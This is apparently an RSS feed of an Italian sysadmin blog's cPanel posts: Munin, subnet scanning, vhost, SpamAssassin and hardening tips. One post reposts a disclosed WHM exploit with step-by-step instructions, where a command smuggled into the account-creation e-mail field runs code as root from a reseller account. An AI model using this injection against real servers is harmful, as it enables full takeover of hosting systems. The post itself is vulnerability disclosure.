<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>blog.morphey.org &#187; cPanel</title>
	<atom:link href="http://blog.morphey.org/category/linux/cpanel-linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.morphey.org</link>
	<description>Il blog di morphey</description>
	<lastBuildDate>Sat, 24 Jul 2010 03:00:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>cPanel e Munin: le statistiche di mysql non vengono generate</title>
		<link>http://blog.morphey.org/2010/07/09/cpanel-e-munin-le-statistiche-di-mysql-non-vengono-generate/</link>
		<comments>http://blog.morphey.org/2010/07/09/cpanel-e-munin-le-statistiche-di-mysql-non-vengono-generate/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 12:20:31 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sistemistica]]></category>
		<category><![CDATA[cPanel]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/?p=513</guid>
		<description><![CDATA[Quando si cambia la password di root di mysql e si ha cPanel con il plugin di Munin installato, capita che il munin-node non aggiorni le statistiche di MySQL. Per ovviare a questo problema, editiamo il fil /etc/munin/plugin-conf.d/cpanel.conf e inseriamo queste direttive nella sezione [mysql] env.mysqladmin /usr/bin/mysqladmin env.mysqlopts &#8211;defaults-extra-file=/root/.my.cnf il risultato sarà questo: [mysql*] user]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-514" title="munin_graphic" src="http://blog.morphey.org/wp-content/uploads/2010/07/munin-1-0-150x150.png" alt="" width="150" height="150" />Quando si cambia la password di root di mysql e si ha cPanel con il plugin di Munin installato, capita che il munin-node non aggiorni le statistiche di MySQL.</p>
<p>Per ovviare a questo problema, editiamo il fil <strong>/etc/munin/plugin-conf.d/cpanel.conf</strong> e inseriamo queste direttive nella sezione <strong>[mysql]</strong></p>
<p><strong>env.mysqladmin /usr/bin/mysqladmin<br />
env.mysqlopts &#8211;defaults-extra-file=/root/.my.cnf</strong></p>
<p>il risultato sarà questo:<br />
<strong>[mysql*]<br />
user  root<br />
group wheel<br />
env.mysqladmin /usr/bin/mysqladmin<br />
env.mysqlopts  &#8211;defaults-extra-file=/root/.my.cnf</strong></p>
<p><strong></strong><br />
Successivamente  riavviate munin: <strong>/etc/init.d/munin-node restart</strong></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=513&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2010/07/09/cpanel-e-munin-le-statistiche-di-mysql-non-vengono-generate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trovare tutti gli IP attivi in una subnet ed effettuare un lookup per trovare il proprio mac address</title>
		<link>http://blog.morphey.org/2008/09/11/trovare-tutti-gli-ip-attivi-in-una-subnet-ed-effettuare-un-lookup-per-trovare-il-proprio-mac-address/</link>
		<comments>http://blog.morphey.org/2008/09/11/trovare-tutti-gli-ip-attivi-in-una-subnet-ed-effettuare-un-lookup-per-trovare-il-proprio-mac-address/#comments</comments>
		<pubDate>Thu, 11 Sep 2008 09:30:40 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Reti]]></category>
		<category><![CDATA[Sistemistica]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[arp]]></category>
		<category><![CDATA[fping]]></category>
		<category><![CDATA[indirizzo ip]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[lan]]></category>
		<category><![CDATA[lookup]]></category>
		<category><![CDATA[mac-address]]></category>
		<category><![CDATA[macaddress]]></category>
		<category><![CDATA[rete]]></category>
		<category><![CDATA[subnet]]></category>
		<category><![CDATA[wan]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/?p=213</guid>
		<description><![CDATA[In ambito sistemistico (più networking) si può avere la necessità di avere una lista di tutti gli indirizzi IP che sono già occupati. In più vogliamo sapere anche il mac-address a cui è legato l&#8217;ip. In genere, tute le macchine hanno il ping-reply attivo: per vedere se è online, basta effettuare un ping all&#8217;host della]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-214" style="border: 0pt none; margin: 6px;" title="lan" src="http://blog.morphey.org/wp-content/uploads/2008/09/lan-300x202.jpg" alt="" width="300" height="202" />In ambito <strong>sistemistico</strong> (più <strong>networking</strong>) si può avere la necessità di avere una lista di tutti gli <strong>indirizzi IP</strong> che sono già occupati. In più vogliamo sapere anche il <strong>mac-address</strong> a cui è legato l&#8217;ip.</p>
<p>In genere, tute le macchine hanno il <strong>ping-reply</strong> attivo: per vedere se è online, basta effettuare un ping all&#8217;host della macchina per vedere se è attiva.</p>
<p>Possiamo sfruttare, per questo, un comando poco conosciuto ma molto utile in linux: <strong>fping</strong>.</p>
<p>Non è presente, in genere, nei <em>repository</em> delle solite distribuzioni ma si può trovare, ad esempio, nel rpmforge per Centos/Redhat oppure mirror alternativi. Se non si sa dove prenderlo, basta scaricare i <a title="fping" href="http://fping.sourceforge.net/" target="_blank">sorgenti</a> e compilarlo.</p>
<p><strong>Fping</strong>, come dice l&#8217;help, serve ad eseguire un ping su una determinata <strong>subnet</strong> che può essere specificata in due modi: con la corretta subnet (10.0.0.0/16) oppure in un intervallo (10.0.0.1 10.0.0.255).</p>
<p>Per ricavare il mac-address, possiamo utilizzare l&#8217;utilissimo comando <strong>arp</strong> che serve, appunto, a ricavare il <strong>mac-address</strong> a partire da un indirizzo IP (lookup).</p>
<p>Chiaramente, per funzione, la macchina da cui si lancia il comando <em>arp</em> <strong>DEVE</strong> essere sulla stessa rete della subnet altrimenti il lookup non funziona (se passa per un router, chiaramente, il mac-address non verrà visto).</p>
<p>Allora, per fare una combinazione di questi comandi, ho creato uno script in bash per fare questo lavoro:</p>
<pre lang="bash" line="23" file="fpingtoarp.sh">
#!/bin/bash
# coded by morphey (morphey@morphey.org)

FILE_OUT="/root/out_fpingtoarp.txt"

rm -f $FILE_OUT
function FPingToArp() {
	for IP in `fping -c1 -g $1|cut -d " " -f 1-1`
	do
	STRING="$IP `arp -n $IP|grep -v HWtype|awk {'print $3'} `"
	echo $STRING &gt;&gt; $FILE_OUT
	done
}

#### MODIFICARE QUI ###########

FPingToArp 10.0.2.1/24

###############################

echo;echo;echo "done."
</pre>
<p>Come si vede, all&#8217;interno del codice è possibile lanciare il comando interno <strong>FPingToArp</strong> quante volte si vuole. Il resto del codice è abbastanza chiaro <img src='http://blog.morphey.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Da modificare anche il FILE_OUT per avere il responso in qualsiasi file che si vuole.</p>
<p><em>P.S. nel caso si vuole copiare ed incollare il codice sopra, ricordatevi che wordpress mette delle virgolette che bisogna eliminare <img src='http://blog.morphey.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </em></p>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=213&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/09/11/trovare-tutti-gli-ip-attivi-in-una-subnet-ed-effettuare-un-lookup-per-trovare-il-proprio-mac-address/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>cPanel bug: Accesso root tramite account reseller</title>
		<link>http://blog.morphey.org/2008/05/20/cpanel-bug-accesso-root-tramite-account-reseller/</link>
		<comments>http://blog.morphey.org/2008/05/20/cpanel-bug-accesso-root-tramite-account-reseller/#comments</comments>
		<pubDate>Tue, 20 May 2008 14:21:53 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[resellers]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/?p=165</guid>
		<description><![CDATA[E&#8217; appena uscito un bug per il WHM di cPanel: tale bug permette ad un attaccante di avere accesso root tramite un semplice account rivenditore. Ecco la descrizione (in inglese) dell&#8217;exploit: By : Ali Jasbi ( IHST security &#38; hacking Research team) WwW.Hackerz.ir Vendor : Cpanel.net Version : ALL !! Risk : Very high What]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-166" style="float: left; margin-left: 6px; margin-right: 6px;" title="cpanel_logo" src="http://blog.morphey.org/wp-content/uploads/2008/05/cpanel_logo-150x128.jpg" alt="" width="150" height="128" /> E&#8217; appena uscito un bug per il <strong>WHM</strong> di <a title="cPanel" href="http://www.cpanel.net" target="_blank"><strong>cPanel</strong></a>: tale bug permette ad un attaccante di avere accesso root tramite un semplice account rivenditore.</p>
<p>Ecco la descrizione (in inglese) dell&#8217;exploit:</p>
<blockquote><p>By : Ali Jasbi ( IHST security &amp; hacking Research team) <a class="moz-txt-link-abbreviated" href="http://www.hackerz.ir/">WwW.Hackerz.ir</a><br />
Vendor : Cpanel.net<br />
Version : ALL !!<br />
Risk : Very high<br />
What u can do with this bug is :<br />
u can have a access to all the server with reseller privilege (Th3 r00t)<br />
how it&#8217;s work ?<br />
when u want to create an account in shell what will happen ?<br />
./script/wwwact [domainname] [username] [password] [Email address] lab lab  lab<br />
that u can run it with a web base program ! ( cpanel : doamin:2086)<br />
example :<br />
<a class="moz-txt-link-freetext" href="http://domain:2086/scripts/wwwacct">http://domain:2086/scripts/wwwacct</a> [domainname] [username] [password]  [Email address] lab lab lab<br />
it means you got a access to wwwacct in the scripts folder (Th3 r00t)<br />
so u can run other command with root access like that<br />
./scripts/wwwactt domain.com domain password  <a class="moz-txt-link-abbreviated" href="mailto:ali@hackerz.ir;./home/hackerz/public_html/do.pl">ali@hackerz.ir;./home/hackerz/public_html/do.pl</a> ( your command now is  ./home/hackerz/public_html/do.pl)<br />
that u can Likewise run it on  the web base program.what u need to do is  just write <a class="moz-txt-link-abbreviated" href="mailto:ali@hackerz.ir;./home/hackerz/public_html/do.pl">ali@hackerz.ir;./home/hackerz/public_html/do.pl</a> in Email text box  when u want to create an account.<br />
()()()()()()()()()()()()()<br />
Test it:<br />
++++++++++++++++++++++++++<br />
Step 1</p>
<p>Save this file in /home/user/public_html/do.pl .<br />
#!/usr/bin/perl<br />
$old=&#8217;/home/user/public_html/test.txt&#8217;;<br />
$new=&#8217;/home/root/kon.txt&#8217;;<br />
rename $old, $new;<br />
++++++++++++++++++++++++++<br />
step 2</p>
<p>make a text file named test.txt in your public_html directory.<br />
path will be : /home/user/public_html/test.txt .<br />
++++++++++++++++++++++++++<br />
step 3</p>
<p>create an account and write <a class="moz-txt-link-abbreviated" href="mailto:ali@hackerz.ir;./home/user/public_html/do.pl">ali@hackerz.ir;./home/user/public_html/do.pl</a> in  E-mail Address text box<br />
then click on the &#8220;create&#8221; button.<br />
Yes , you can find your file in <em class="moz-txt-slash"><span class="moz-txt-tag">/</span>home/root<span class="moz-txt-tag">/</span></em> .<br />
++++++++++++++++++++++++++<br />
()()()()()()()()()()()()()<br />
you can run your own code !(mass defacer, exploit&#8217;s or everything that u  want).</p></blockquote>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=165&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/05/20/cpanel-bug-accesso-root-tramite-account-reseller/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>cPanel: register_globals sul singolo virtualhost con apache 2.x e mod_suphp</title>
		<link>http://blog.morphey.org/2008/03/20/cpanel-attivare-register_globals-per-un-solo-dominio-e-personalizzare-del-virtualhost-specifico/</link>
		<comments>http://blog.morphey.org/2008/03/20/cpanel-attivare-register_globals-per-un-solo-dominio-e-personalizzare-del-virtualhost-specifico/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 11:52:31 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Howto]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[configpath]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[httpd.conf]]></category>
		<category><![CDATA[includes]]></category>
		<category><![CDATA[mod_suphp]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[register_globals]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[std]]></category>
		<category><![CDATA[suphp]]></category>
		<category><![CDATA[suPHP_ConfigPath]]></category>
		<category><![CDATA[user.conf]]></category>
		<category><![CDATA[userdate]]></category>
		<category><![CDATA[vhost]]></category>
		<category><![CDATA[virtualhost]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/index.php/2008/03/20/cpanel-attivare-register_globals-per-un-solo-dominio-e-personalizzare-del-virtualhost-specifico/</guid>
		<description><![CDATA[Vediamo come modificare un solo virtualhost senza perdere le modifiche alla rigenerazione dell&#8217;httpd.conf di apache. Se non esiste, creiamo la cartella /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/ Possiamo sostituire &#8220;std&#8221; con &#8220;ssl&#8221; se vogliamo modificare il virtualhost &#8220;solo&#8221; per l&#8217;ssl. Se usiamo apache 1.x dobbiamo cambiare il &#8220;2&#8221; con &#8220;1&#8220;. Creiamo un file di nome user.conf (o di qualsiasi altro]]></description>
			<content:encoded><![CDATA[<p>Vediamo come modificare un solo <strong>virtualhost </strong>senza perdere le modifiche alla rigenerazione dell&#8217;<strong>httpd.conf</strong> di apache.</p>
<p>Se non esiste, creiamo la cartella <strong>/usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/</strong><br />
Possiamo sostituire &#8220;<strong>std</strong>&#8221; con &#8220;<strong>ssl</strong>&#8221; se vogliamo modificare il virtualhost &#8220;solo&#8221; per l&#8217;ssl.<br />
Se usiamo apache <strong>1.x </strong>dobbiamo cambiare il &#8220;<strong>2</strong>&#8221; con &#8220;<strong>1</strong>&#8220;.</p>
<p>Creiamo un file di nome <strong>user.conf</strong> (o di qualsiasi altro nome, l&#8217;importante è che risulta l&#8217;estensione <strong>.conf</strong>).</p>
<p>In questo file mettiamo le direttive specifiche per questo dominio in modo che prende le variabili personalizzate del <strong>php.ini</strong> da un altro file.</p>
<p>Nell&#8217;esempio, vogliamo attivare il <strong>register_globals</strong> solo per questo dominio.<br />
Il <strong>mod_suphp</strong> permette di personalizzare questo path con la direttiva &#8220;<strong>suPHP_ConfigPath</strong>&#8220;:</p>
<blockquote><p>### /usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/user.conf</p>
<p>&lt;IfModule mod_suphp.c&gt;<br />
suPHP_ConfigPath /usr/local/Zend/register-enabled<br />
&lt;/IfModule&gt;</p></blockquote>
<p>In questo modo, riavviando apache (non lo facciamo ora pero&#8217;), il virtualhost andra&#8217; a cercare il php.ini dentro la directory <strong>/usr/local/Zend/register-enabled</strong> creata ad hoc:</p>
<blockquote><p>mkdir -p /usr/local/Zend/register-enabled<br />
touch /usr/local/Zend/register-enabled/php.ini</p></blockquote>
<p>Nel file <strong>/usr/local/Zend/register-enabled/php.ini</strong> metteremo, quindi, la direttiva per l&#8217;attivazione di register_globals:</p>
<blockquote><p>## /usr/local/Zend/register-enabled/php.ini<br />
register_globals = On</p></blockquote>
<p>Prima di riavviare apache, dobbiamo istruirlo per far includere i files appena creati.<br />
Per fare questo lanciamo il seguente comando:</p>
<blockquote><p><strong>/scripts/ensure_vhost_includes &#8211;user=UTENTE</strong></p></blockquote>
<p>Al termine, possiamo riavviare apache e il lavoro e&#8217; finito.</p>
<p>Per curiosita&#8217; e verifica, possiamo editare /usr/local/apache/conf/httpd.conf e vedere nel virtualhost del dominio se effettivamente le modifiche hanno avuto effetto.<br />
Possiamo notare:</p>
<blockquote><p>    Include &#8220;/usr/local/apache/conf/userdata/*.conf&#8221;<br />
Include &#8220;/usr/local/apache/conf/userdata/*.owner-root&#8221;<br />
Include &#8220;/usr/local/apache/conf/userdata/std/*.conf&#8221;<br />
Include &#8220;/usr/local/apache/conf/userdata/std/*.owner-root&#8221;<br />
Include &#8220;/usr/local/apache/conf/userdata/std/2/*.conf&#8221;<br />
Include &#8220;/usr/local/apache/conf/userdata/std/2/*.owner-root&#8221;<br />
Include &#8220;/usr/local/apache/conf/userdata/std/2/UTENTE/*.conf&#8221;<br />
Include &#8220;/usr/local/apache/conf/userdata/std/2/UTENTE/DOMINIO.EST/*.conf&#8221;</p></blockquote>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=142&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/03/20/cpanel-attivare-register_globals-per-un-solo-dominio-e-personalizzare-del-virtualhost-specifico/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>cPanel: Abilitare spamassassin a tutti gli utenti</title>
		<link>http://blog.morphey.org/2008/01/15/cpanel-abilitare-spamassassin-a-tutti-gli-utenti/</link>
		<comments>http://blog.morphey.org/2008/01/15/cpanel-abilitare-spamassassin-a-tutti-gli-utenti/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 16:58:23 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Howto]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[account]]></category>
		<category><![CDATA[accounts]]></category>
		<category><![CDATA[chmod]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[configurazione]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[editor]]></category>
		<category><![CDATA[enable]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[forum]]></category>
		<category><![CDATA[post]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[spamassassin]]></category>
		<category><![CDATA[WHM]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/index.php/2008/01/15/cpanel-abilitare-spamassassin-a-tutti-gli-utenti/</guid>
		<description><![CDATA[Nel WHM di cPanel manca qualcosa molto utile per gli admin del server. Stiamo parlando dell&#8217;abilitazione di Spamassassin per tutti gli account in un solo colpo. E&#8217; vero che abbiamo nella sezione &#8220;Exim configuration editor&#8221; la possibilità di flaggare &#8220;SpamAssassin: Enable for all users without the option for users to shut off per account&#8221;: questo]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.morphey.org/wp-content/uploads/2008/01/spamassassin.thumbnail.jpg" alt="Spamassassin Logo" align="left" /> Nel <strong>WHM</strong> di <a href="http://www.cpanel.net" title="cPanel" target="_blank"><strong>cPanel</strong></a> manca qualcosa molto utile per gli admin del <a href='http://it.wikipedia.org/wiki/server' target='_blank'>server.</p>
<p>Stiamo</a> parlando dell&#8217;<strong>abilitazione</strong> di <a href="http://spamassassin.apache.org" title="Spamassassin" target="_blank"><strong>Spamassassin</strong></a> per <strong>tutti gli account</strong> in un solo colpo.</p>
<p>E&#8217; vero che abbiamo nella sezione &#8220;<strong>Exim configuration editor</strong>&#8221; la possibilità di flaggare &#8220;SpamAssassin: Enable for all users without the option for users to shut off per account&#8221;: questo fa si che venga abilitato spamassassin su tutti gli account, ma è anche vero che disabilita di fatto il pulsante &#8220;Disable spamassassin&#8221; nel singolo cPanel dell&#8217;utente impedendo a quest&#8217;ultimo di scegliere se abilitarlo o meno.</p>
<p>Spizzando il <a href="http://forums.cpanel.net" target="_blank">forum</a> di cPanel ho trovato un <a href="http://forums.cpanel.net/showthread.php?t=57111" target="_blank">post</a> molto interessante che ho testato personalmente.</p>
<p>Creiamo su /root/ il file <strong>enabless.sh</strong> con questo contenuto:</p>
<blockquote><p>#! /bin/sh<br />
M_FILENAME=$1<br />
#echo $M_FILENAME<br />
M_USERNAME=`find $M_FILENAME -printf %f`<br />
#echo $M_USERNAME</p>
<p>touch /home/$M_USERNAME/.spamassassinenable<br />
chown $M_USERNAME.$M_USERNAME /home/$M_USERNAME/.spamassassinenable<br />
touch /home/$M_USERNAME/.spamassassinboxenable<br />
chown $M_USERNAME.$M_USERNAME /home/$M_USERNAME/.spamassassinboxenable</p>
<p>echo $M_USERNAME complete<br />
echo</p></blockquote>
<p>Impostiamo il chmod del file a <strong>700</strong>.</p>
<p>Lanciamo questo comando:</p>
<blockquote><p>find /var/cpanel/users -type f -exec /root/enabless.sh {} \;</p></blockquote>
<p>Questo creerà per ogni account utenti i files  <strong>.spamassassinenable</strong> e  <strong>.spamassassinboxenable</strong> ciò che serve per abilitare automaticamente spamassassin.</p>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=124&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/01/15/cpanel-abilitare-spamassassin-a-tutti-gli-utenti/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Sicurezza: rendere sicuro un server linux (compatibile con cPanel e DirectAdmin)</title>
		<link>http://blog.morphey.org/2008/01/10/sicurezza-rendere-sicuro-un-server-linux-compatibile-con-cpanel-e-directadmin/</link>
		<comments>http://blog.morphey.org/2008/01/10/sicurezza-rendere-sicuro-un-server-linux-compatibile-con-cpanel-e-directadmin/#comments</comments>
		<pubDate>Thu, 10 Jan 2008 16:36:34 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Segnalazioni]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[directadmin]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[redhat]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[servermonkeys]]></category>
		<category><![CDATA[sicurezza]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/index.php/2008/01/10/sicurezza-rendere-sicuro-un-server-linux-compatibile-con-cpanel-e-directadmin/</guid>
		<description><![CDATA[Volevo segnalare questo fantastico script, che installa in automatico tutte le versioni più recenti dei sistemi di Firewall, Antiflood e altro ancora. Dal sito di Server Monkeys : Install RKHunter Install RKHunter Cronjob which emails a user-set email address nightly Install/update APF Add SM/TP monitoring IPs (view information on these in Orbit) Install/update BFD Install]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.morphey.org/wp-content/uploads/2008/01/logo_servermonkeys.gif" alt="ServerMonkeys" align="left" /> Volevo segnalare questo <a href="http://www.servermonkeys.com/els.php" target="_blank">fantastico script</a>, che installa in automatico tutte le versioni più recenti dei sistemi di <strong>Firewall</strong>, <strong>Antiflood</strong> e altro ancora.</p>
<p>Dal sito di <strong>Server Monkeys</strong> <strong>:</strong></p>
<ul>
<li>Install RKHunter</li>
<li>Install RKHunter Cronjob which emails a user-set email address nightly</li>
<li>Install/update APF</li>
<li>Add SM/TP monitoring IPs (view information on these in Orbit)</li>
<li>Install/update BFD</li>
<li>Install CHKROOTKIT</li>
<li>Install CHKROOTKIT Cronjob which emails a user-set email address nightly</li>
<li>Disable Telnet</li>
<li>Force SSH Protocol 2</li>
<li>Secure /tmp</li>
<li>Secure /var/tmp</li>
<li>Secure /dev/shm</li>
<li>Install/update Zend Optimizer</li>
<li>Install/update eAccelerator</li>
<li>MySQL 4.0 and 4.1 Configuration Optimization (cPanel only)</li>
<li>Upgrade MySQL to 4.1 (cPanel only)</li>
<li>Tweak WHM Settings for security and stability</li>
<li>Configure RNDC if not already done (cPanel only)</li>
<li>Change SSH port (also configure APF as necessary)</li>
<li>Add wheel user and disable direct root login over SSH</li>
<li>Optimize MySQL tables</li>
<li>Install/update Libsafe</li>
<li>Install/update ImageMagick (from latest source)</li>
<li>Uninstall LAuS</li>
<li>Harden sysctl.conf</li>
<li>Install Chirpy&#8217;s Free Exim Dictionary Attack ACL</li>
<li>And more!</li>
</ul>
<p>Tutto questo compatibile con:</p>
<ul>
<span id="more-109"></span></p>
<li>Red Hat Linux 9</li>
<li>Red Hat Enterprise Linux 3, 4</li>
<li>Fedora Core 1, 2, 3, 4</li>
<li>CentOS 3, 4</li>
</ul>
<p>Lo script è progettato per essere utilizzato su qualsiasi sistema linux nonchè offre un pieno supporto a <a href="http://www.cpanel.net" title="cPanel" target="_blank"><strong>cPanel</strong></a> e <a href="http://www.directadmin.com" title="DirectAdmin" target="_blank"><strong>DirectAdmin</strong></a>.</p>
<p>Per installarlo, basta eseguire da root:</p>
<blockquote><p>wget &#8211;output-document=installer.sh http://servermonkeys.com/projects/els/installer.sh; chmod +x installer.sh; sh installer.sh</p></blockquote>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=109&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/01/10/sicurezza-rendere-sicuro-un-server-linux-compatibile-con-cpanel-e-directadmin/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spamassassin: soluzione al problema di overload</title>
		<link>http://blog.morphey.org/2008/01/09/soluzione-al-problema-di-spamssassin-in-overload-quando-un-utente-ha-spazio-esaurito/</link>
		<comments>http://blog.morphey.org/2008/01/09/soluzione-al-problema-di-spamssassin-in-overload-quando-un-utente-ha-spazio-esaurito/#comments</comments>
		<pubDate>Wed, 09 Jan 2008 15:40:45 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[overload]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spamassassin]]></category>
		<category><![CDATA[spamd]]></category>

		<guid isPermaLink="false">http://blog.morphey.org/index.php/2008/01/09/soluzione-al-problema-di-spamssassin-in-overload-quando-un-utente-ha-spazio-esaurito/</guid>
		<description><![CDATA[Ultimamente gli sviluppatori di Spamassassin non stanno più sviluppando il software antispam. Chi ha attive le quote sulla macchina linux (parlo per gli utenti di cPanel) ha potuto constatare che per un bug di spamassassin ancora non corretto, se un utente ha lo spazio sul proprio account esaurito, spamassassin va in overload facendo piantare di]]></description>
			<content:encoded><![CDATA[<p>Ultimamente gli sviluppatori di <a href="http://spamassassin.apache.org" target="_blank"><strong>Spamassassin</strong></a> non stanno più sviluppando il software antispam.</p>
<p>Chi ha attive le <strong>quote</strong> sulla macchina linux (parlo per gli utenti di <a href="http://www.cpanel.net" target="_blank"><strong>cPanel</strong></a>) ha potuto constatare che per un bug di spamassassin ancora non corretto, se un utente ha lo spazio sul proprio account esaurito, spamassassin va in <strong>overload</strong> facendo piantare di fatto la macchina.</p>
<p>Tutto questo perchè, a quota esaurita, se un utente riceve ancora email (che chiaramente vengono inviate indietro con il messaggio &#8220;Mailbox is full&#8221;) il file<strong> .spamassassin</strong> presente nel suo account rimane letteralmente <em>bloccato</em> facendo freezare di fatto il processo di <strong>spamd</strong> associato portando inesorabilmente il load della macchina a livelli molto alti compromettendone la stabilità e gli altri servizi.</p>
<p>Per risolvere il problema gli sviluppatori di cPanel hanno fatto loro stessi una patch che sembra risolvere a metà il problema.</p>
<p>La soluzione più ovvia è quella di patchare spamd come dicono loro.</p>
<p>Prima di tutto eliminiamo tutti i files <strong>.spamassassin</strong> (non preoccupatevi, sono files temporanei di spamd per ogni utente) in modo da liberare spazio su tutti gli account:</p>
<blockquote><p> find /home -name .spamassassin | xargs rm -rf</p></blockquote>
<p>L&#8217;operazione può richiedere alcuni minuti.<br />
Infine patchamo <strong>spamd</strong> e lo riavviamo in questo modo:</p>
<blockquote><p> /scripts/autorepair spamd_dbm_fix<br />
/scripts/restartsrv_exim</p></blockquote>
<p><!--upnews--></p>
<img src="http://blog.morphey.org/?ak_action=api_record_view&id=103&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.morphey.org/2008/01/09/soluzione-al-problema-di-spamssassin-in-overload-quando-un-utente-ha-spazio-esaurito/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Risoluzione errore dell&#8217; smtp di exim (cPanel) &#8220;T=remote_smtp defer (-53): retry time not reached for any host&#8221; e diminuire il problema della coda</title>
		<link>http://blog.morphey.org/2008/01/09/risoluzione-errore-dell-smtp-di-exim-cpanel-tremote_smtp-defer-53-retry-time-not-reached-for-any-host-e-diminuire-il-problema-della-coda/</link>
		<comments>http://blog.morphey.org/2008/01/09/risoluzione-errore-dell-smtp-di-exim-cpanel-tremote_smtp-defer-53-retry-time-not-reached-for-any-host-e-diminuire-il-problema-della-coda/#comments</comments>
		<pubDate>Wed, 09 Jan 2008 15:22:30 +0000</pubDate>
		<dc:creator>morphey</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cPanel]]></category>
		<category><![CDATA[-53]]></category>
		<category><![CDATA[coda]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[defer]]></category>
		<category><![CDATA[errore]]></category>
		<category><![CDATA[exim]]></category>
		<category><![CDATA[lunga]]></category>
		<category><![CDATA[queue]]></category>
		<category><![CDATA[reached]]></category>
